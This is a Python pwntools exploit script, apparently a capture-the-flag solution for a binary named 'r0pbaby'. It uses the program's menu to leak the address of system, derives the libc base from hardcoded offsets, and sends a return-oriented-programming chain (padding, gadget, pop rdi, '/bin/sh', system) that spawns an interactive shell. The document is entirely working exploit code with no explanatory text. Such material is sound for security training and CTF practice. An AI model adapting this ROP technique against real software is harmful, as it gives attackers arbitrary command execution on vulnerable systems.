from pwn import *

size = 40
offset = 8

system_offset = 0x4f440
binsh_offset = 0x1b3e9a
pop_rdi_offset = 0x2155f
nop_offset = 0x1d58f0

r = process("./r0pbaby")

sleep(5)

print(r.recv(0x100))

## get system addr
r.sendline("2")
print(r.recv(0x100))
r.sendline("system")

system = int(str(r.recvline()).split(" ")[2][:-3], 16)
libc_base = system - system_offset
log.info("libc base: {}".format(hex(libc_base)))
log.info("system: {}".format(hex(system)))

binsh = libc_base + binsh_offset
log.info("binsh: {}".format(hex(binsh)))

## attack
payload = b"A" * offset
payload += p64(libc_base + nop_offset)
payload += p64(libc_base + pop_rdi_offset)
payload += p64(binsh)
payload += p64(system)

print(r.recv(0x100))

log.info(len(payload))

r.sendline("3")
r.sendline(str(size))
r.sendline(payload)

r.interactive()

